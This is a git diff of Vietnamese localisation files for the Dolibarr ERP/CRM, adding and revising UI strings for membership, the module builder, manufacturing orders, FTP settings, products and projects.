-CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Người dùng bên trong +ExternalUser=Người dùng bên ngoài +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/vi_VN/members.lang b/htdocs/langs/vi_VN/members.lang index b1dfb83749b..d7fb04d492c 100644 --- a/htdocs/langs/vi_VN/members.lang +++ b/htdocs/langs/vi_VN/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Một thành viên khác (tên: %s ErrorUserPermissionAllowsToLinksToItselfOnly=Vì lý do bảo mật, bạn phải được cấp quyền chỉnh sửa tất cả người dùng để có thể liên kết thành viên với người dùng không phải của bạn. SetLinkToUser=Liên kết với người dùng Dolibarr SetLinkToThirdParty=Liên kết với bên thứ ba Dolibarr +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Danh sách thành viên MembersListToValid=Danh sách thành viên dự thảo (sẽ được xác nhận) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Thành viên mới @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Loại thành viên không thể bị xóa NewSubscription=Đóng góp mới NewSubscriptionDesc=Biểu mẫu này cho phép bạn ghi lại đăng ký của mình như một thành viên mới của tổ chức. Nếu bạn muốn gia hạn đăng ký của mình (nếu đã là thành viên), vui lòng liên hệ với hội đồng sáng lập thay vì gửi email %s. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Thời hạn +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Trễ SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Nội dung thẻ thành viên của bạn # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Chúng tôi muốn cho bạn biết rằng yêu cầu thành viên của bạn đã được nhận.

      ThisIsContentOfYourMembershipWasValidated=Chúng tôi muốn cho bạn biết rằng tư cách thành viên của bạn đã được xác nhận với các thông tin sau:

      -ThisIsContentOfYourSubscriptionWasRecorded=Chúng tôi muốn cho bạn biết rằng đăng ký mới của bạn đã được ghi lại.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=Chúng tôi muốn cho bạn biết rằng đăng ký của bạn sắp hết hạn hoặc đã hết hạn (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Chúng tôi hy vọng bạn sẽ làm mới nó.

      ThisIsContentOfYourCard=Đây là một bản tóm tắt các thông tin chúng tôi có về bạn. Vui lòng liên hệ với chúng tôi nếu bất cứ điều gì là không chính xác.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Chủ đề của email thông báo nhận được trong trường hợp tự động đăng ký của khách @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Doanh thu (cho một công ty) hoặc Ngân sách (cho một tổ chức) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Nhảy vào trang thanh toán trực tuyến được tích hợp +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Theo bản chất tự nhiên MembersStatisticsByProperties=Thống kê thành viên theo bản chất VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/vi_VN/modulebuilder.lang b/htdocs/langs/vi_VN/modulebuilder.lang index ccb0abc09cf..29928a85e99 100644 --- a/htdocs/langs/vi_VN/modulebuilder.lang +++ b/htdocs/langs/vi_VN/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Đường dẫn nơi các mô-đun được tạo/chỉnh sửa (thư mục đầu tiên cho các mô-đun bên ngoài được xác định vào %s): %s ModuleBuilderDesc3=Các mô-đun được tạo / chỉnh sửa được tìm thấy: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Một mô-đun được phát hiện là 'có thể chỉnh s NewModule=Mô-đun mới NewObjectInModulebuilder=Đối tượng mới NewDictionary=New dictionary +ModuleName=Module name ModuleKey=Khóa mô-đun ObjectKey=Khóa đối tượng DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=Đường dẫn đến zip của gói mô-đun/ứng dụng PathToModuleDocumentation=Đường dẫn đến tệp tài liệu mô-đun/ứng dụng (%s) SpaceOrSpecialCharAreNotAllowed=Khoảng trắng hoặc ký tự đặc biệt không được phép. FileNotYetGenerated=Tệp chưa được tạo +GenerateCode=Generate code RegenerateClassAndSql=Ép buộc cập nhật các tập tin .class và .sql RegenerateMissingFiles=Tạo tập tin bị thiếu SpecificationFile=Tập tin tài liệu LanguageFile=Tập tin cho ngôn ngữ ObjectProperties=Thuộc tính đối tượng +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=Bạn có chắc chắn muốn xóa thuộc tính %s ? Điều này sẽ thay đổi mã trong lớp PHP nhưng cũng loại bỏ cột khỏi bảng định nghĩa của đối tượng. NotNull=Không NULL NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=Là một phép do DirScanned=Thư mục được quét NoTrigger=Không trigger NoWidget=Không có widget -GoToApiExplorer=API explorer +ApiExplorer=API explorer ListOfMenusEntries=Danh sách các mục menu ListOfDictionariesEntries=Danh sách các mục từ điển ListOfPermissionsDefined=Danh sách các quyền được định nghĩa SeeExamples=Xem ví dụ ở đây -EnabledDesc=Điều kiện để có trường này hoạt động (Ví dụ: 1 hoặc $conf-> golobal->MYMODULE_MYOPTION) -VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing).

      It can be an expression, for example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      Currently, known compatibles PDF models are : eratosthene (order), espadon (ship), sponge (invoices), cyan (propal/quotation), cornas (supplier order)

      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty -DisplayOnPdf=Hiển thị trên file PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Giá trị của trường có thể được tích lũy để có được tổng số vào danh sách không? (Ví dụ: 1 hoặc 0) SearchAllDesc=Là trường được sử dụng để thực hiện tìm kiếm từ công cụ tìm kiếm nhanh? (Ví dụ: 1 hoặc 0) SpecDefDesc=Nhập vào đây tất cả tài liệu bạn muốn cung cấp với mô-đun chưa được xác định bởi các tab khác. Bạn có thể sử dụng .md hoặc tốt hơn, cú pháp .asciidoc đầy đủ. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Sử dụng một URL biên tập cụ thể UseSpecificFamily = Sử dụng một họ cụ thể UseSpecificAuthor = Sử dụng một tác giả cụ thể UseSpecificVersion = Sử dụng một phiên bản mở đầu cụ thể -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Nếu bạn kiểm tra điều này, một số mã sẽ được tạo để thêm hộp "Tạo tài liệu" trong hồ sơ. -ShowOnCombobox=Hiển thị giá trị vào combobox +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Khóa cho tooltip CSSClass=CSS for edit/create form CSSViewClass=CSS for read form CSSListClass=CSS for list NotEditable=Không thể chỉnh sửa ForeignKey=Khóa ngoại -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Chuyển mã ASCII sang HTML AsciiToPdfConverter=Chuyển ASCII sang PDF TableNotEmptyDropCanceled=Table not empty. Drop has been canceled. ModuleBuilderNotAllowed=The module builder is available but not allowed to your user. ImportExportProfiles=Import and export profiles -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/vi_VN/mrp.lang b/htdocs/langs/vi_VN/mrp.lang index d9006590c30..9c4f78a96b4 100644 --- a/htdocs/langs/vi_VN/mrp.lang +++ b/htdocs/langs/vi_VN/mrp.lang @@ -11,8 +11,8 @@ Bom=Hóa đơn của vật liệu BillOfMaterials=Bill of Materials BillOfMaterialsLines=Bill of Materials lines BOMsSetup=Thiết lập mô-đun BOM -ListOfBOMs=Danh sách hóa đơn vật liệu - BOM -ListOfManufacturingOrders=Danh sách các đơn đặt hàng sản xuất +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Đơn đặt hàng sản xuất NewBOM=New bill of materials ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. BOMsNumberingModules=Mẫu đánh số BOM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials ConfirmCloneMo=Bạn có chắc chắn muốn sao chép Đơn hàng sản xuất %s không? ManufacturingEfficiency=Hiệu quả sản xuất ConsumptionEfficiency=Consumption efficiency +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Value of 0.95 means an average of 5%% of loss of produced product DeleteBillOfMaterials=Xóa hóa đơn vật liệu @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=For a quantity to disassemble of %s ConfirmValidateMo=Bạn có chắc chắn muốn xác nhận Đơn hàng sản xuất này không? ConfirmProductionDesc=By clicking on '%s', you will validate the consumption and/or production for the quantities set. This will also update the stock and record stock movements. ProductionForRef=Production of %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Close automatically the Manufacturing Order if quantities to consume and to produce are reached NoStockChangeOnServices=No stock change on services ProductQtyToConsumeByMO=Product quantity still to consume by open MO @@ -80,6 +83,7 @@ ProductsToProduce=Products to produce UnitCost=Unit cost TotalCost=Total cost BOMTotalCost=The cost to produce this BOM based on cost of each quantity and product to consume (use Cost price if defined, else Average Weighted Price if defined, else the Best purchase price) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO Workstation=Workstation @@ -107,3 +111,10 @@ THMEstimatedHelp=This rate makes it possible to define a forecast cost of the it BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/vi_VN/other.lang b/htdocs/langs/vi_VN/other.lang index 98a9a7cdf57..12d80fa93ce 100644 --- a/htdocs/langs/vi_VN/other.lang +++ b/htdocs/langs/vi_VN/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Đơn đặt hàng mua được phê duyệt Notify_ORDER_SUPPLIER_REFUSE=Đơn đặt hàng mua bị từ chối Notify_PROPAL_VALIDATE=Đề nghị khách hàng xác nhận Notify_PROPAL_CLOSE_SIGNED=Đề xuất khách hàng được đóng đã ký +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Đề xuất khách hàng được đóng đã bị từ chối +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Đề nghị thương mại gửi qua đường bưu điện Notify_WITHDRAW_TRANSMIT=Rút truyền Notify_WITHDRAW_CREDIT=Rút tín dụng @@ -181,6 +183,7 @@ SizeUnitfoot=chân SizeUnitpoint=điểm BugTracker=Theo dõi lỗi SendNewPasswordDesc=Hình thức này cho phép bạn yêu cầu một mật khẩu mới. Nó sẽ được gửi đến địa chỉ email của bạn.
      Thay đổi sẽ có hiệu lực khi bạn nhấp vào liên kết xác nhận trong email.
      Kiểm tra hộp thư của bạn. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Trở lại trang đăng nhập AuthenticationDoesNotAllowSendNewPassword=Chế độ xác thực là% s.
      Trong chế độ này, Dolibarr không thể biết và cũng không thay đổi mật khẩu của bạn.
      Liên hệ quản trị hệ thống của bạn nếu bạn muốn thay đổi mật khẩu của bạn. EnableGDLibraryDesc=Cài đặt hoặc kích hoạt thư viện GD trên bản cài đặt PHP của bạn để sử dụng tùy chọn này. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Hóa đơn %s đã được xác nhận. EMailTextInvoicePayed=Hóa đơn %s đã được thanh toán. EMailTextProposalValidated=Đề xuất %s đã được xác nhận. EMailTextProposalClosedSigned=Đề xuất %s đã được đóng đã ký. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Đơn hàng %s đã được xác nhận. EMailTextOrderApproved=Đơn hàng %s đã được phê duyệt. EMailTextOrderValidatedBy=Đơn hàng %s đã được ghi lại bởi %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Đóng Autofill = Autofill + +# externalsite +ExternalSiteSetup=Thiết lập liên kết đến trang web bên ngoài +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Mô-đun trang web bên ngoài được cấu hình không đúng. +ExampleMyMenuEntry=Mục menu của tôi + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Không thể xóa bỏ các tập tin %s. +FTPFailedToRemoveDir=Không thể xóa thư mục %s : kiểm tra quyền và thư mục đó là rỗng. +FTPPassiveMode=Chế độ thụ động +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Lỗi khi tải tệp tin %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/vi_VN/products.lang b/htdocs/langs/vi_VN/products.lang index a7b84c95a9f..e98ea34bf3e 100644 --- a/htdocs/langs/vi_VN/products.lang +++ b/htdocs/langs/vi_VN/products.lang @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=Bạn Bạn có chắc chắn muốn xóa dòng sản p ProductSpecial=Đặc biệt QtyMin=S.lượng mua tối thiểu PriceQtyMin=Giá cho s.lượng tối thiểu -PriceQtyMinCurrency=Giá cho s.lượng này (chưa chiết khấu) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=Tỷ lệ VAT (cho nhà cung cấp/ sản phẩm này) DiscountQtyMin=Chiết khấu cho s.lượng này NoPriceDefinedForThisSupplier=Không có giá/ s.lượng được định rõ cho nhà cung cấp/ sản phẩm này @@ -261,7 +262,7 @@ Quarter1=Quý 1 Quarter2=Quý 2 Quarter3=Quý 3 Quarter4=Quý 4 -BarCodePrintsheet=In barcode +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=Với công cụ này, bạn có thể in các tờ giấy dán mã vạch. Chọn định dạng của nhãn dán, loại mã vạch và giá trị của mã vạch, sau đó nhấp vào nút %s . NumberOfStickers=Số lượng nhãn để in trên trang PrintsheetForOneBarCode=In nhiều nhãn cho một mã vạch @@ -344,9 +345,9 @@ PossibleValues=Các giá trị có thể GoOnMenuToCreateVairants=Vào menu %s - %s để chuẩn bị các biến thể thuộc tính (như màu sắc, kích thước, ...) UseProductFournDesc=Add a feature to define the product description defined by the vendors (for each vendor reference) in addition to the description for customers ProductSupplierDescription=Mô tả sản phẩm của nhà cung cấp -UseProductSupplierPackaging=Sử dụng đóng gói theo giá của nhà cung cấp (tính toán lại số lượng theo bao bì được đặt theo giá của nhà cung cấp khi thêm / cập nhật dòng trong tài liệu của nhà cung cấp) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Đóng gói -PackagingForThisProductDesc=On supplier order, you will automaticly order this quantity (or a multiple of this quantity). Cannot be less than minimum buying quantity +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=Số lượng của dòng được tính toán lại theo đóng gói của nhà cung cấp #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Hành động chỉ có hiệu lực trên b ProductsPricePerCustomer=Giá sản phẩm mỗi khách hàng ProductSupplierExtraFields=Thuộc tính bổ sung (Giá Nhà cung cấp) DeleteLinkedProduct=Xóa sản phẩm con được liên kết với sự kết hợp -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Giá bình quân gia quyền PMPValueShort=WAP mandatoryperiod=Mandatory periods @@ -408,6 +409,23 @@ mandatoryHelper=Check this if you want a message to the user when creating / val DefaultBOM=Default BOM DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. Rank=Rank +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=Switch on sale status SwitchOnPurchaseStatus=Switch on purchase status +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/vi_VN/projects.lang b/htdocs/langs/vi_VN/projects.lang index f8ce6f7a543..75037997ecc 100644 --- a/htdocs/langs/vi_VN/projects.lang +++ b/htdocs/langs/vi_VN/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Phần xem này hiển thị tất cả dự án và tác vụ m TasksDesc=Phần xem này hiển thị tất cả các dự án và tác vụ (quyền người dùng của bạn hiện đang cho phép bạn xem tất cả thông tin). AllTaskVisibleButEditIfYouAreAssigned=Tất cả các nhiệm vụ cho các dự án đủ điều kiện đều hiển thị, nhưng bạn chỉ có thể nhập thời gian cho nhiệm vụ được giao cho người dùng đã chọn. Phân công nhiệm vụ nếu bạn cần nhập thời gian vào nó. OnlyYourTaskAreVisible=Only tasks assigned to you are visible. If you need to enter time on a task and if the task is not visible here, then you need to assign the task to yourself. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Nhiệm vụ của dự án ProjectCategories=Thẻ dự án/ danh mục NewProject=Dự án mới @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Số tiền tiềm năng của dự án m OpportunitiesStatusForProjects=Số tiền tiềm năng của dự án theo trạng thái ShowProject=Hiển thị dự án ShowTask=Hiện tác vụ +SetThirdParty=Set third party SetProject=Lập dự án +OutOfProject=Out of project NoProject=Không có dự án được xác định hoặc tự tạo NbOfProjects=Số dự án NbOfTasks=Số công việc @@ -122,7 +125,8 @@ ValidateProject=Xác nhận dự án ConfirmValidateProject=Bạn có chắc chắn muốn xác nhận dự án này? CloseAProject=Đóng dự án ConfirmCloseAProject=Bạn có chắc chắn muốn đóng dự án này? -AlsoCloseAProject=Cũng như đóng dự án (giữ cho nó mở nếu bạn vẫn cần theo dõi các nhiệm vụ sản xuất trên đó) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Mở dự án ConfirmReOpenAProject=Bạn có chắc chắn muốn mở lại dự án này? ProjectContact=Liên lạc của dự án @@ -165,7 +169,7 @@ OpportunityProbability=Xác suất tiềm năng OpportunityProbabilityShort=Xác suất tiềm năng OpportunityAmount=Số tiền tiềm năng OpportunityAmountShort=Số tiền tiềm năng -OpportunityWeightedAmount=Tổng trị giá cơ hội +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Tổng trị giá cơ hội OpportunityAmountAverageShort=Số tiền tiềm năng trung bình OpportunityAmountWeigthedShort=Số tiền tiềm năng thận trọng @@ -238,7 +242,7 @@ OppStatusPENDING=Chờ xử lý OppStatusWON=Thắng OppStatusLOST=Thua Budget=Ngân sách -AllowToLinkFromOtherCompany=Cho phép liên kết dự án từ công ty khác

      Các giá trị được hỗ trợ:
      - Giữ trống: Có thể liên kết bất kỳ dự án nào của công ty (mặc định)
      - "tất cả": Có thể liên kết bất kỳ dự án nào, thậm chí dự án của các công ty khác
      - Danh sách id của bên thứ ba được phân tách bằng dấu phẩy: có thể liên kết tất cả các dự án của các bên thứ ba đó(Ví dụ: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Dự án %s mới nhất LatestModifiedProjects=Dự án sửa đổi %s mới nhất OtherFilteredTasks=Các nhiệm vụ được lọc khác @@ -259,7 +263,7 @@ TimeSpentInvoiced=Thời gian đã qua được lập hóa đơn TimeSpentForIntervention=Thời gian đã qua TimeSpentForInvoice=Thời gian đã qua OneLinePerUser=Một dòng trên mỗi người dùng -ServiceToUseOnLines=Dịch vụ được sử dụng trên các dòng +ServiceToUseOnLines=Service to use on lines by default InvoiceGeneratedFromTimeSpent=Hóa đơn %s đã được tạo từ thời gian dành đã qua trên dự án InterventionGeneratedFromTimeSpent=Intervention %s has been generated from time spent on project ProjectBillTimeDescription=Kiểm tra xem bạn nhập bảng thời gian vào các nhiệm vụ của dự án VÀ bạn có kế hoạch tạo (các) hóa đơn từ bảng chấm công để lập hóa đơn cho khách hàng của dự án (không kiểm tra xem bạn có kế hoạch tạo hóa đơn không dựa trên bảng thời gian đã nhập không). Lưu ý: Để tạo hóa đơn, hãy chuyển đến tab 'Thời gian sử dụng' của dự án và chọn các dòng để đưa vào. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Profit is calculated using AddPersonToTask=Add also to tasks UsageOrganizeEvent=Usage: Event Organization PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classify project as closed when all its tasks are completed (100%% progress) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks at 100 %% progress won't be affected: you will have to close them manually. This option only affects open projects. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Select lines of time spent that are unbilled, then bulk action "Generate Invoice" to bill them ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. @@ -294,3 +298,4 @@ EnablePublicLeadForm=Enable the public form for contact NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. NewLeadForm=New contact form LeadFromPublicForm=Online lead from public form 